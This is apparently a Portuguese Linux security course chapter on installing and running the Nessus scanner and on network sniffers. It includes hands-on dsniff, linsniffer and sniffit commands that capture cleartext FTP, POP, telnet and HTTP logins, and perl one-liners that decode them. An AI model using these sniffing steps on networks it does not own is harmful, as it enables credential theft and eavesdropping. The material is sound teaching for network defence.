LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/lib hand Instalao do pacote nessus-core: #tar xvfz nessus-core-2.0.3.tar.gz #cd nessus-core #./configure #make Geralmente os problemas compilao acontecem na instalao deste pacote nessus-core. O p roblema acontece porque o processo de instalao padro apresentado acima instala o cl

iente nessus para ambiente grfico. Caso, voc no queira que o cliente nessus para ambiente grfico seja instalado, utili ze o parmetro mostrado abaixo no comando ./configure: #./configure &#8211;disable-gtk hand Instalao do pacote nessus-plugins: Para instalar este pacote, os pacotes anteriores j devem estar previamente instal ados. Veja o procedimento de instalao: #tar xvfz nessus-plugins-2.0.3.tar.gz #cd nessus-plugins #./configure #make Utilizando o Nessus: O Nessus composto de duas partes: servidor e cliente. O processo de configurao do servidor : criar usurios autorizado, gerar certificados de segurana e inicializar o daemon. O cliente executa um software que permite conectar no servidor e fazer as varreduras de acordo com a sua necessidade. Configurao do servidor nessus: Todos os comando de configurao do servidor nessus ficam dentro do diretrio /usr/loc al/sbin. Talvez seja necessrio adicionar este diretrio em sua vrivel $PATH. #export PATH=$PATH:/usr/local/sbin #echo &#8220;export PATH=$PATH:/usr/local/sbin&#8221; >> ~/.bash_profile O primeiro passo criar um usurio de acesso ao servidor nessusd - daemon do nessus : #nessus-adduser Add a new nessusd user ---------------------Login : joao Authentication (pass/cert) [pass] : pass Login password : senha123 User rules ---------nessusd has a rules system which allows you to restrict the hosts that joao has the right to test. For instance, you may want him to be able to scan his own host only. Please see the nessus-adduser(8) man page for the rules syntax Enter the rules for this user, and hit ctrl-D once you are done : (the user can have an empty rules set) default accept Login Password DN Rules allow 127.0.0.1 : joao : senha123 : :

default deny Is that ok ? (y/n) [y] y user added. Este comando permite o usurio joao com senha senha123 possa acessar o servidor ne ssud e scannear qualquer mquina default accept. Voc pode tambm utilizar as diretivas accept e deny para criar regras. Veja o exemplo: accept 10.1.0.0/16 default deny A regra acima possibilita o usurio pertinente scannear qualquer mquina da rede 10. 1.0.0/16 atravs da regra accept 10.1.0.0/16. Qualquer outra tentativa no ser permit ida regra default deny. O servidor nessus precisa criar um certificado SSL Secure Socker Layer para crip tografar seus dados quando o cliente for conectar no servidor nessus. O comando para gerar este certificado est mostrado abaixo: #nessus-mkcert CA certificate life time in days [1460]: Server certificate life time in days [365]: Your country (two letter code) [BR]: BR Your state or province name [none]: Goias Your location (e.g. town) [Paris]: Goiania Your organization [Nessus Users United]: Sistemas Abertos Depois de criar o usurio nessus e gerar os certificados de segurana SSL. Voc deve i niciar o daemon do nessus o servio nessud. Ento execute: #nessusd -D Este comando inicia o servio nessusd na porta 1241 porta padro do servidor nessus. Aqui termina a configurao do servidor nessus. Executanto o cliente nessus a partir do cliente que podemos testar a funcionalidade do nessus, ou seja, a pa rtir do cliente nessus que possvel scannear sistemas e procurar vunerabilidades. Existem dois modos de operao do cliente nessus: cliente nessus em ambiente grfico e cliente nessus na linha de comando. Cliente nessus em ambiente grfico: hand Para executar o cliente nessus para ambiente grfico execute: #nessus Fig 1. Janela de logon do cliente nessus para ambiente grfico. Nesta primeira jan ela deve-se digitar o nome do servidor nessus, a porta do nessusd, o login do us urio e senha. Em seguida clique em log in. Se tudo estiver ok, o servidor ir apres entar o certificado SSL e permitir a configurao da nova janela que est apresentada a baixo: Fig 2. Janela de escolha de vunerabilidade a ser reportado pelo nessusd Nesta janela pode ser escolhido qual tipo de vunerabilidade dever ser reportado p elo nessus. Para escolher a vunerabilidade deve-se escolher o plugin corresponde nte. Para selecionar todos, clique em Enable all. Para scannear apenas as vunera

bilidades mais perigosas, clique em Enable all but dangerous plugins. Para carre gar outros plugins, clique em Upload plugin. Em seguida, necessrio escolher o alvo. Para isto, clique na aba Target Seletion. A seguinte janela ir ser mostrada: Fig 3. Janela de escolha do alvo a ser scanneado pelo nessus No campo Target(s): Digite o alvo a ser scanneado e clique em Start the scan. Vrias mquinas podem ser scanneadas de uma s vez. Para isto crie um arquivo com os nom es ou endereos IP das mquinas que voc deseja scannear, veja o exemplo: 200.1.2.3 torre.xadreznet.com.br dama.xadreznet.com.br Depois de criado o arquivo com seus alvos. Clique em Read file, defina o nome do arquivo e clique em Start the scan. Nota: o processo de varredura um processo demorado e poder gastar alguns minutos. Depois de scannear seu alvo, uma nova janela ser aberta com um relatrio de vunerab ilidades. Nota: O nessus muito interessante por apresentar URLs que possui explicaes sobre a vunerabilidade encontrada. O nessus tambm apresenta explicaes de como explorar a v unerabilidade e de como corrigi-la. Portanto, uma ferramenta de fundamental impo rtncia para quem quer corrigir os problemas de sua rede, ao mesmo tempo que uma f erramenta indispensvel para pessoas mal-intencionadas que desejam explorar algum recurso de sua rede. Cliente nessus na linha de comando: O cliente nessus tambm pode ser executado na linha de comando sem a necessidade d e um interface grfica. Veja a sintaxe: #nessus <host> <port> <user> <pass> <targets-file> <result-file> Abaixo est apresentado os parmetros suportados pelo nessus: : Define o nmero IP ou nome do servidor nessus mquina que est executando o daem on nessusd. : Determina a porta de comunicao do nessusd. A porta padro do nessusd 1241. : Usurio criado no servidor nessus com o comando nessus-adduser. : Senha do usurio do servidor nessus. <targets-file>: Determina o arquivo que contm as mquinas a serem scanneadas. Nes te arquivo pode ser utilizado tanto nmeros IP quanto nomes de mqinas. <result-file>: Define o arquivo de resultados do scanner nessus. O relatrio d e segurana do nessus ser apresentado neste arquivo. O nessus suporta vrios formatos de arquivo que podem ser configurados por meio da opo --output-type. Por exemplo: utilize --output-type=html para o relatrio ser gravado em formato HTML. Veja o exemplo abaixo: #nessus 127.0.0.1 1241 joao senha123 alvo.txt teste.html --output-type=html O comando acima verifica vunerabilidades em todas as mquinas que esto definidas no arquivo alvo.txt. O comando apresentado considera que o servidor nessus a mquina local e est sendo executado na porta 1241. O resultado ser gravado no arquivo tes

te.html com formato HTML. Medidas contra scanners

No h uma medida que evite sua mquina de ser scanneada. Toda mquina que est na Intern est sujeita a esta ferramenta. Entretanto, existem medidas que podem ser utilizad as para: saber quem est scanneando sua rede e o que pode ser apresentado no relatrio do scanner. Estas duas funcionalidades so implementadas por meio de IDS e firewa ll respectivamente. O IDS Intrusion Detection System - Sistemas de deteco de invaso permitem descobrir quem est varrendo sua rede. Os IDS mais novos permitem inclusive detectar varredu ras secretas como a do nmap Stealth Scan. Veja o captulo sobre IDS. Regras de firewall a nvel de pacote podem ser implementadas para evitar que servio s internos no fiquem expostos publicamente. Assim, os scanner iro detectar apenas os servios que esto disponveis publicamente. Na verdade, os scanner geralmente reco nhecem que a porta est protegida pelo firewall. O nmap, por exemplo, quando se de para com esta situao apresenta o estado da porta como sendo filtered, ou seja, fil trado pelo firewall. Porm, scanners de vunerabilidades no conseguiro explorar este servio completamente. Links Indicados http://www.insecure.org - Este endereo um dos importantes sites relacionado a segurana. Neste endereo voc encontra dicas, anncios de seguranas, exploits etc. O Si te tambm disponibiliza ferramentas importantes de segurana como por exemplo o nmap Network Mapper http://www.nessus.org Site oficial do grupo de desenvolvedores do scanner ne ssus. Disponibiliza download, FAQ, documentao, exemplos de configuraes etc. http://www.saintcorporation.com Site oficial do scanner SAINT. O SAINT um sc anner de vunerabilidade similar ao nessus. O site disponibiliza uma verso trial d o SAINT e anncios de segurana. http://www.gtk.org - Site oficial do GTK Gimp ToolKit?. O cliente nessus par a ambiente grfico baseado no GTK. Disponibiliza download, documentao, FAQ etc. http://www.packetstormsecurity.org Neste endereo voc tem acesso s principais fe rramentas de segurana incluindo scanners para Linux e Windows. O site disponibili za anncios de segurana e grande nmero de ferramentas de explorao exploits. http://www.cert.org/advisories Principal site de anncios de segurana. As princ ipais falhas de segurana esto reportados neste endereo. A maioria dos scanners de v unerabilidades utilizam os anncios deste site para identificar um servio como vune rvel ou no. Este um tipo de site que deve ser acessado diariamente para verificar se um novo problema de segurana foi descoberto. http://metalab.unc.edu/pub/Linux/system/security Este endereo disponibiliza o COPS - Computer Oracle and Password System que o scanner de sistemas para Linux Terminologia utilizada scanner - ferramenta para avaliao e deteco de vunerabilidades de um sistema. Por meio destas ferramentas possvel descobrir falhas e informaes relacionado segurana ocal ou de sistemas remotos. hacker - Indivduo hbil em enganar os mecanismos de segurana de sistemas de comp

utao e conseguir acesso no autorizado aos recursos destes, geralmente a partir de u ma conexo remota em uma rede de computadores. backdoor traduzido como porta dos fundos. Quando uma pessoa faz um ataque be m sucedido e consegue um acesso remoto, uma de suas primeiras tarefas instalar p rogramas que permitam um acesso futuro, este programas so denominados como sendo backdoor. suid - acrnimo de switch user id, uma opo do sistema de arquivo do Linux, geral mente configurada atravs do chmod (comando chmod u+xs ). Faz com que toda execuo do arquivo marcado com suid produza um processo com dono igual ao usurio dono do ar quivo, independentemente de quem executou o arquivo. Arquivos executveis com usuri o dono super-usurio marcados com suid so os mais arriscados, pois quando executado s por um usurio comum, produz um processo com poderes de super-usurio. Apesar dist o, alguns executveis marcados com suid so necessrios, como /bin/passwd utilizado po r usurio comum para trocar sua senha. Nota: j imaginou um editor de texto, com don o root e opo suid habilitada? poderia ler e sobrescrever qualquer arquivo do siste ma. RPM Red Hat Package Manager um gerenciador de pacotes da Red Hat muito utili zado no Linux para instalar programas. NFS Network File System - NFS[Sistema de Arquivo em Rede]. Tecnologia utiliz ada para compartilhar arquivos em uma rede. Apesar de ser uma tecnologia multi-p lataforma, geralmente ela utilizada para compartilhar arquivos UNIX -> UNIX. varredura processo do scanner. Varrer e scannear pode ser entendido como palav ras sinnimas. Cron Cron agendador de tarefas do Linux. Pode ser utilizado para agendar pro cessos em determinado horrio, dia da semana, dia do ms e ano. O comando que agenda tarefas crontab e o servio responsvel pela execuo crond cron daemon. Port Scanner um scanner de rede que apresenta apenas as portas que esto abert as num sistema remoto. Firewall - Definido como um conjunto de regras ou componentes com a finalida de de proteger uma rede interna de uma rede externa, traduzido como porta-cortafogo ou muro de fogo. scan stealth Varredura silenciosa. considerada silenciosa pelo fato gerar o mnimo de log no sistema remoto, dificultando o sistema remoto de identificar a va rredura. Plugin - Programas que podem ser anexados ao nessus para testar a segurana de um servio especifico. Exerccios de reviso 1. Defina scanner e aponte as principais diferenas e caractersticas entre o scanne r de sistema e o scanner de rede. 2. Aponte quais as principais furos de segurana que so reportados por um scanner d e sistema. 3. Como funciona um scanner de rede? 4. Faa uma comparao entre um scanner de porta Port Scan e um scanner de vunerabilid ade. 5. Qual o significado do termo varredura silenciosa? Faa um exemplo de comando do n

map para descobrir quais portas esto abertas e o sistema operacional remoto, send o que a varredura dever ser silenciosa. 6. Aponte as principais caractersticas e funcionalidade do nessus. Quais vantagen s ele tem sobre o nmap? 7. Quais os dois tipos de instalao que pode ser utilizado para instalar o nessus? Mostre o procedimento de instalao de cada mtodo. 8. Quais as medidas que podem ser utilizadas para amenizar os problemas de scann ers? Que ferramenta possibilita detectar o nmero IP de quem est scanneando sua rede? Quais regras podem ser implementadas no firewall para amenizar os problemas de scanners? Sniffers O captulo presente estuda os conceitos e as aplicaes dos sniffers. A partir destas ferramentas ser mostrado como capturar dados e inclusive senhas que esto trafegand o na rede. Introduo Sniffers, que traduzido significa farejadores, so ferramentas que possuem a final idade de capturar dados na rede. Existem praticamente duas intenes ao utilizar um farejador: 1. A pessoa ao utilizar o farejador tem o objetivo de identificar algum prob lema na rede. Esta primeira justificativa levou a necessidade de criar-se os far ejadores. A partir de um farejador possvel monitorar o trfego da rede e descobrir problemas de rede como: Trfego intenso Caso sua rede esteja com uma velocidade inferior aos padres , uma boa alternativa utilizar um farejador para descobrir as possveis causas. Servios de rede consumindo exageradamente recursos do sistema. O farejado r possibilita verificar quais mquinas esto utilizando seu servio. Permite determina r a quantidade de conexes que um cliente estabeleceu com o servidor. Neste ltimo c aso possvel determinar quais mquinas esto executando ataques DoS? Denied of Service - contra seu servidor. Monitoramento de servios. Muitas vezes necessrio saber como determinados s ervios esto se comportando na rede, principalmente os que no possuem um sistema efi ciente de log. Servios como BOOTP e DHCP podem ser analisados via sniffer para de scobrir problemas de comunicao. Pois mais eficiente analisar o que trafegou pela r ede em vez de ficar tentando entender o motivo pelo qual, apesar de tudo estar c onfigurado corretamente, as coisas teimam em no funcionar como deveriam. 2. A pessoa ao utilizar o farejador tem o objetivo de capturar informaes sigil osa na rede. Este um dos principais problemas de segurana nas redes de computador es atualmente. Pois qualquer servio que no utilize de criptografia para transmitir seus dados na rede est vunervel a este tipo de ataque. A partir dos farejadores p ossvel capturar: Login e senha. Os farejadores so capazes de capturar qualquer login e sen ha de servios que no utilizem de criptografia. Os principais servios que so vtimas de ste ataque so: FTP, TELNET, HTTP, IMAP e POP. possvel capturar sesses de qualquer servios e obter qualquer dado que trafe gue entre o servidor e o cliente. Exemplo: consultas de banco de dados, contedo d e pginas de Internet, ICQ, etc. possvel capturar sesses de telnet e ftp e obter tud o o que for digitado na linha de comando pela vtima. Na verdade todos os servios e sto suscetveis a este ataque, entretanto servios como SSH fornecem apenas informaes c riptografadas e portanto no comprometem a segurana do sistema.

Funcionamento do sniffer Para entender o funcionamento do sniffer necessrio lembrar como as redes ethernet funcionam. Os adaptadores Ethernet acessam o meio fsico atravs do CSMA/CD - Carri er Sense Multiple Access/Collision Detect assim, todos os adaptadores competem e ntre si para transmitir dados no meio fsico e quando dois adaptadores enviam dado s ao mesmo tempo, haver o que chamamos de coliso de pacotes. Ao colidir dois pacot es, todos os adaptadores so interrompidos por um tempo t para posteriormente retran smitirem os dados no meio fsico. O mesmo meio fsico que utilizado para enviar dados , por consequncia, utilizado par a receber. Portanto, cada adaptador fica "escutando" o meio fsico e carregando ca da frame que transferido na rede. Protocolos da camada fsica so responsveis pelo tr atamento de cada frame e pela verificao do endereo de destino. Se o endereo de desti no coincidir com esta mquina o frame aceito e repassado para as camadas superiore s a ela, seja ela IP, IPX etc. Caso contrrio, o frame descartado e um novo proces so recomeado. O endereo que utilizado para determinar se o endereo de destino local ou deve ser descartado o endereo MAC - Media Access Control - tambm conhecido como endereo de h ardware, um nmero nico que identifica cada adaptador de rede. Este endereo gravado diretamente pelo fabricante e deve ser nico. Quando se utiliza um programa de sniffing, o adaptador tem seu funcionamento alt erado e passa a funcionar no chamado "modo promscuo", ou seja, independente do en dereo de destino do frame ser igual ou no ao da placa, ele lido como se fosse dele , permitindo que todos os pacotes que trafegam na rede sejam capturados. Este pr ocesso pode ser comparado ao grampo telefnico e dependendo da forma como que sua rede foi montada, todos que esto ligados a ela, ficaro vunerveis. Onde possvel farejar Tanto as redes de difuso quanto as rede ponto a ponto esto passivas de sniffing. Rede de difuso - Este tipo de arquitetura pode ser definido da seguinte forma : rede em que todas as mquinas compartilham de um mesmo canal de comunicao, exemplo s: redes que utilizam aparelhos como hub, switch e antenas. As redes que utiliza m desta arquitetura so mais fceis de serem farejadas. Pois a interface de rede de todas as mquinas so conectadas no mesmo barramento. Basta utilizar algum programa que coloque a placa de rede em modo promscuo e voc ter acesso a todos os dados que trafegam na rede. Este tipo de arquitetura caracterstico de redes privadas e deve m ter um tratamento especial, pois, caso contrrio, informaes importantssimas ficaram a merc de qualquer pessoa mal-intencionada que esteja na rede privada. Rede ponto a ponto Este tipo de arquitetura pode ser definido da seguinte fo rma: rede em que apenas duas mquinas compartilham do mesmo canal de comunicao. Esta rede mais difcil de ser farejada. Pois para capturar os dados nesta rede, o snif fer deve ser instalado em uma das duas mquinas que compe a rede ponto a ponto. fig 1. Exemplo de sniffing em uma rede de difuso. fig 2. Exemplo de sniffing em uma rede ponto a ponto. Ferramentas disponveis Para se obter bons resultados em um ataque de sniffer importante aplicar o sniff er correto para o tipo de dado que se deseja capturar. O desempenho de cada snif fer depende do que se deseja obter da rede. Ento, o conhecimento de uma grande va riedade de sniffer importante, pois alguns farejadores podem fornecer recursos q ue no seja interessante para voc, enquanto outros podem fornecer exatamente o que voc necessita obter da rede.

Existem uma grande quantidade de ferramentas que podem ser utilizadas para sniff ing. Os principais farejadores disponveis para Linux e que sero apresentados neste material so: tcpdump Este um sniffer utilizado para fins de monitoramento de rede. um sni ffer que permite analisar o trfego da rede. linsniffer um sniffer que analisa o contedo do pacote capturando apenas infor maes importantes como login e senhas de servios que no utilizam de criptografia. dsniff - Este sniffer, assim como linsniffer, captura somente partes importa ntes do pacote como por exemplo: logins e senhas. sniffit Este sniffer permite capturar completamente sesses de servios, ou seja , qualquer dado que trafegue entre cliente e servidor. Possui uma interface que permite analisar todo o trfego na rede em tempo real. Tcpdump O tcpdump um dos sniffer mais conhecido para GNU/Linux. Este software mantido pe lo Grupo Tcpdump - The Tcpdump Group. O tcpdump basicamente um programa que, com o prprio nome diz, exibe na tela ou direciona para um arquivo, o resultado daquil o que trafega em uma determinada interface de rede. O tcpdump mais utilizado par a fazer anlise e disgnstico de rede. Portanto, atravs desta ferramenta possvel anali sar que tipo de pacote est trafegando na rede. Instalao do tcpdump Para instalar o tcpdump necessrio instalar um biblioteca chamada libpcap. Tanto a biblioteca libpcap quanto o tcpdump est disponvel para download no site http://ww w.tcpdump.org site oficial do tcpdump. hand Instalao da libpcap: #tar xvfz libpcap-0.7.2.tar.gz #cd libpcap-0.7.2 #./configure #make #make install hand Instalao do tcpdump: #tar xvfz tcpdump-3.7.2.tar.gz #cd tcpdump-3.7.2 #make #make install Nota: atualmente j existe um verso do tcpdump para Windows, chama-se WinDump? e po de ser encontrado no site oficial do tcpdump. Utilizao do tcpdump O exemplo abaixo mostra uma sesso SSH. Veja: #tcpdump 10:28:44.220836 PPPoE [ses 0xc710] intranet.sistemasabertos.com.br.ssh > 200.103 .109.024: P 3733:4057(324) ack 60 win 15532 <nop,nop,timestamp[ tcp]> (DF) [tos 0x10] 10:28:44.221161 PPPoE [ses 0xc710] 200.103.109.024: > intranet.sistemasabertos. com.br.ssh: . ack 4057 win 11792 <nop,nop,timestamp[ tcp]> (DF) [tos 0x10] 10:28:44.355046 PPPoE [ses 0xc710] intranet.sistemasabertos.com.br.ssh > 200.10 3.109.024: . 4057:5457(1400) ack 60 win 15532 <nop,nop,timestamp[ tcp]> (DF) [to

s 0x10] A sada do comando acima permite observar uma conexo da mquina 200.103.109.024 com a intranet.sistemasabertos.com.br atravs do servio SSH Secure Shell. possvel ainda o bservar que tipo de conexo est sendo utilizado pelo cliente 200.103.109.024. Este cliente est acessando a rede, que neste caso a Internet, atravs do protocolo PPPoE PPP over Ethernet. Nota: PPPoE definido como PPP over Ethernet um protocolo utilizado em modens ADS L. Existe um outro protocolo tambm muito utilizado por modens ADSL que chamado de PPPoA PPP over ATM. Portanto, o cliente SSH da conexo apresentada na sada do tcpd ump est utilizando ADSL para acessar a Internet. Existem vrias opes que podem ser utilizadas na anlise do tcpdump. Para saber mais so bre estas opes d uma olhada nas pginas de manual deste comando man tcpdump. Linsniffer Este sniffer um analisador de contedo de pacote e permite capturar informaes como l ogins e senhas de usurios. um sniffer com sada bastante resumida e eficiente na ca ptura de senhas de servios como FTP, TELNET e HTTP. Nota: A grande maioria de servidores WebMail? da Internet como por exemplo: www. terra.com.br e www.bol.com.br no utilizam de conexo segura. As senhas e logins dos usurios destes WebMails? trafegam sem criptografia e podem facilmente ser captur ados por meio do linsniffer. Instalao linsniffer O linsniffer um programa de umas 245 linhas escrito em linguagem C. Este sniffer pode ser encontrado fazendo um busca no endereohttp://packetstormsecurity.org. O u diretamente por meio do endereo http://www.cotse.com/tools/sniffers.htm. hand Depois de feito o download deste arquivo, o comando para compil-lo est demons trado abaixo: #cc linsniffer.c -o linsniffer Pode tambm ser utilizado o compilador C da GNU gcc. A opo -o utilizado para definir o nome do executvel que em nosso caso ser chamado de linsniffer. Utilizando o linsniffer O linsniffer ao ser executado, grava as dados capturados em um arquivo chamado t est. Este arquivo criado automaticamente no diretrio em que ele foi executado. Ve ja o procedimento, abaixo: hand Execute o linsniffer #./linsniffer hand Depois de executar o snifffer a sua placa de rede entrar em modo promscuo. Is to poder ser observado atravs do comando ifconfig: #ifconfig eth0 eth0 Encapsulamento do Link: Ethernet Endereo de HW 00:80:AD:0A:E3:5C inet end.: 192.168.1.3 Bcast:192.168.1.255 Masc:255.255.255.0 UP BROADCASTRUNNING PROMISC MULTICAST MTU:1500 Mtrica:1 RX packets:23369 errors:0 dropped:0 overruns:0 frame:0 TX packets:24594 errors:0 dropped:0 overruns:0 carrier:0

colises:0 RX bytes:6356058 (6.0 Mb) TX bytes:2090638 (1.9 Mb) Observe a palavra PROMISC indicando que a placa de rede est sendo executado em mo do promscuo. Analisar o arquivo test. hand Abra um outro terminal e entre no diretrio onde est o executvel linsniffer. Ne ste diretrio, execute: #tail -f test Nota: voc pode utilizar qualquer outro editor para abrir o arquivo test. O comand o tail com opo -f apenas uma forma de ver os dados sendo gravados em tempo real. Exemplo de capturas Neste tpico ser mostrado a sada do linsniffer que representa o login e senha de alg uns servios capturados. Senha e login do servio FTP: O exemplo abaixo representa a captura do login e senha de um usurio FTP File Tran sfer Protocol. 10.1.0.1 => 10.1.0.2 [21] @glLglLglLglPglP goglPUSER jpaulo gogo gs:goPASS senha123 gs=gs=gs=gs=SYST gsAgs= A sada acima representa um conexo da mquina 10.1.0.1 na mquina 10.1.0.2 atravs da por ta 21. Observe que o linsniffer capturou claramente o login jpaulo e a senha sen ha123. Nota: o servio FTP instalado na mquina 10.1.0.2 o proftpd. Senha e login POP 10.1.0.1 => 10.1.0.2 [110] @k7k7k7k9k9k9k9AUTH LOGIN k9k9k:k9anBhdWxv k:k:k:k:c2VuaGExMjM= k:k:k:7k:STAT k:7k:7k:7k:7QUIT k:=k:9 ----- [FIN] A sada acima representa uma conexo de um cliente POP com IP 10.1.0.1 em um servido r POP 10.1.0.2 atravs da porta 110. A grande maioria dos software que no utilizam de criptografia para enviar dados n a rede, usam de um sistema de codificao de base 64. Este tipo de codificao pode ser facilmente quebrado atravs do comando perl. Observe que o linsniffer capturou dua s sadas importantes sadas em negrito - que representam respectivamente o login e a senha do usurio POP. Em seguida est apresentado o comando perl para decodificar o login e senha.

#perl -MMIME::Base64 -le 'print decode_base64"anBhdWxv"' jpaulo Este primeiro comando decodificou o login do usurio, que neste caso jpaulo. A mes ma sintaxe do comando pode ser repetido para obter a senha. Veja: #perl -MMIME::Base64 -le 'print decode_base64"c2VuaGExMjM="' senha123 Nota: Para que o comando perl tenha suporte a decodificao de base 64, necessrio ins talar o pacote perl-mime-base64. Dsniff

dsniff uma coleo de ferramentas de anlise de contedo de pacote TCP/IP. Esta coleo d onibiliza os seguinte programas: dsniff - Este um farejador de senhas. Possui uma sada resumida, pois captura somente os bits do pacotes TCP/IP que guardam as senhas. Captura pacotes dos seg uintes servios: FTP, Telnet, SMTP, HTTP, POP, poppass, NNTP, IMAP, SNMP, LDAP, Rl ogin, RIP, OSPF, PPTP, MS-CHAP, NFS, VRRP, YP/NIS, SOCKS, X11, CVS, IRC, AIM, IC Q, Napster, PostgreSQL?, Meeting Maker, Citrix ICA, Symantec, pcAnywhere, NAI Sn iffer, Microsoft SMB, Oracle SQL*Net, Sybas e Microsoft SQL. filesnarf captura arquivos de compartihamentos NFS que esto trafegando na red e. mailsnarf Captura pacotes SMTP e POP. Os pacotes capturados via rede so forma tados no estilo mbox que pode ser lido com mail -f, pine etc. msgsnarf - Captura mensagens de aplicativos como AOL Instant Messenger, ICQ 2000, IRC, e Bate-papos. sshmitm e webmitm SSH e Web monkey-in-the-middle. So duas ferramentas que sim ulam um proxy para os dois servios seguros SSH e HTTPS. Permite capturar senhas e sesses destes dois servios. Nota: Estas so as 5 principais ferramentas do pacote dsniff. Existem outras ferra mentas deste conjunto que no foram apresentadas, so elas: urlsnarf, webspy e tcpki ll. Instalao do dsniff Para instalar o dsniff os seguintes pacotes so necessrios: Berkeley DB - http://www.sleepycat.com/ OpenSSL? - http://www.openssl.org/ libpcap - http://www.tcpdump.org/ libnids - http://www.packetfactory.net/Projects/Libnids/ libnet http://www.packetfactory.net/Projects/Libnet/ O procedimento de instalao destes pacotes est descrito geralmente em um arquivo REA DME ou INSTALL que acompanha o pacote. A grande maioria das distribuies j disponibi lizam estes pacotes em binrios atravs de RPM Gerenciador de pacotes da Red Hat - p or exemplo. O cdigo fonte do dsniff est disponvel em http://www.monkey.org/~dugsong.O dsniff em RPM pode ser encontrado atravs do endereo http://rpmfind.net, basta fazer uma bus ca atravs deste site.

Instalao via RPM hand Execute o comando: #rpm -ivh dsniff-2.3-6cl.i386.rpm Nota: Provavelmente este pacote ir solicitar algumas depndencias, geralmente os pa cotes: libnids, libnet e libpcap. Instale-os e repita o comando apresentado acim a. Instalao via cdigo fonte hand Faa download do pacote tar.gz no diretrio /usr/local/src e, em seguida, execu te: #tar xvfz dsniff-2.3.tar.gz #./configure #make #make install Utilizao do dsniff O dsniff executado na linha de comando e os dados podem ser analisados em tempo real ou redirecionado para um arquivo. hand Analisando em tempo real #dsniff -d -m -i eth0 O comando acima captura todos os dados que trafegam na rede onde a interface eth 0 est conectada. hand Redirecionando para arquivos #dsniff -d -m -i eth0 -w dadoscapturados O comando acima redireciona todos os dados capturados pela interface eth0 para u m arquivo chamado dadoscapturados. Para analisar o contedo deste arquivo posterio rmente, existe a opo -r do dsniff. #dsniff -r dadoscapturados Exemplo de captura do dsniff Neste tpico ser mostrado a sada do comando dsniff que representa a captura de login s e senhas de alguns servios. Senha e login telnet: dsniff: listening on eth0 dsniff: trigger_tcp: decoding port 23 as telnet ----------------04/17/03 17:47:03 tcp torre.xadreznet.com.br.2533 -> 192.168.1.1.23 (telnet) jpaulo senha123 cd /etc exit O contedo apresentado acima representa uma conexo da mquina torre.xadreznet.com.br no servidor telnet 192.168.1.1. Observe que alm do usurio e senha ter sido captura

do, os comandos executado no servidor telnet foram apresentados pelo sniffer. Senha e login HTTP: dsniff: trigger_tcp: decoding port 80 as http ----------------04/17/03 17:56:49 tcp torre.xadreznet.com.br.4348 -> 192.168.1.1.80 (http) GET / HTTP/1.1 Host: 192.168.1.1 Authorization: Basic cm9vdDpyb290 [jpaulo:senha123] o dsniff tem a vantagem de decodificar automaticamente alguns tipos codificao util izado para transferir dados do cliente para o servidor. Observe que o tipo de au tenticao Basic apresentado acima foi decodificado automaticamente, no sendo necessri o utilizar o comando perl para decobrir o login e a senha. Nota: Basic um tipo de codificao de base 64 muito utilizado por servidores Web. sniffit O sniffit muito utilizado quando deseja-se capturar sesses completas de servios. A travs do sniffit possvel capturar sesses como: bate-papo, ICQ, telnet, banco de dad os e qualquer outro servio TCP/IP. O sniffit possui uma interface que visualiza em tempo real todas as conexes estab elecidas em sua rede, basta selecionar uma conexo e verificar o que est trafegando nela. Instalao do sniffit O cdigo fonte do sniffit est disponvel em http://sniffit.rug.ac.be/sniffit/sniffit. html. Faa download no diretrio /usr/local/src e, em seguida, execute o procediment o abaixo: # tar xvfz sniffit.0.3.7.beta.tar.gz #cd sniffit.0.3.7.beta #./configure #make #cp sniffit /usr/sbin Nota: A grande maioria das distribuies do Linux j fornecem o sniffit em seu CD de i nstalao. Voc pode obtar por instalar o sniffit atravs de binrios como por exemplo RPM , um bom site para encontrar um pacote RPM do sniffit o http://rpmfind.net. Utilizao do sniffit O sniffer baseado em dois modos de operao. Os dois modos de operao so executados na inha de comando e so diferenciados por um ter uma interface de anlise de dados e o outro no. Modo comum de operao Para executar o sniffit em seu modo comum de operao sniffit, necessrio conhecer alg umas opes de linha de comando que esse programa utiliza como por exemplo: porta de escuta, mquina de origem ou destino e etc. As principais opes so : -p : Porta que ser monitorada. Por exemplo : -p 21 escutaria trfego de dados d e sesses de FTP -t : Escutar pacotes que tenham como destino a mquina . Por exemplo : -t 10.1. 0.20 escutaria apenas pacotes direcionados para a mquina 10.1.0.20.

-s : Escutar pacotes que tenham origem a mquina . Por exemplo : -s 10.1.0.25 i ria capturar todos os pacotes que saem da mquina 10.1.0.25 -l <tamanho-da-informao-capturada-em-bytes> : Esta opo usada para definir quanto s bytes dos pacotes sero capturados. Se essa opo for seguida de 0(zero) sero captura dos todos os bytes dos pacotes. -P : possvel especificar o protocolo dos pacotes que se deseja capturar. -F <interface-de-rede>: possvel especificar qual interface deve ser executada em modo promscuo. Deve ser utilizada quando a mquina possui mais de uma interface de rede. Exemplo: Use -F eth0 para que o sniffit escute apenas o trfego da inter face eth0. hand Abaixo est apresentado alguns exemplos de utilizao do sniffit em seu modo comu m de operao. #sniffit -p 21 -l 0 -t 10.1.0.27 O exemplo acima faz com que o sniffit capture os pacotes que tenham como destino a mquina 10.1.0.27 em sua porta 21. Ou seja, o exemplo captura todas as sesses FT P que for estabelecida atravs do servidor 10.1.0.27. #sniffit -p 80 -l 0 -t www.xadreznet.com.br Este exemplo fareja todas as conexes com o servidor Web www.xadreznet.com.br. Obs erve que agora utilizado a porta 80. # sniffit -p 25 -l 0 -t mail.sistemasabertos.com.br Este ltimo exemplo analisa todos os email que chegam na mquina mail.sistemasaberto s.com.br por meio da porta 25. Este modo comum de operao utilizado quando deseja-se farejar uma conexo especfica da rede. Para se ter um maior controle da rede e verificar tudo o que est acontence ndo na rede, aconselhvel o uso do prximo modo de operao. Modo interface de operao Este modo de operao baseado em uma interface que apresenta todas as conexes da rede . Para farejar uma conexo especifica, basta selecion-la. Para selecionar este modo de operao, deve-se utilizar a opo -i. Veja: #sniffit -i fig 3. Interface do sniffit. Nesta interface possvel escolher todas as conexes da rede que deseja-se farejar. O sniffit neste modo de operao apresenta todas as conexes da rede. Em nosso exemplo existe somente uma conexo SSH porta 22. Entretanto, o sniffit apresenta duas ent radas: A primeira representa os pacotes enviados do servidor, mquina 200.163.79.1 , para o cliente SSH, mquina 200.103.109.24. A segunda representa os pacotes envi ados do cliente para o servidor. Para analisar o trfego, basta selecionar uma das entradas atravs de um ENTER. Veja: fig 4. Exemplo de captura de uma conexo SSH. Neste exemplo possvel observar que o SSH um servio seguro, pois todos os dados esto criptografados. A anlise acima permite observar que o SSH um servio seguro que 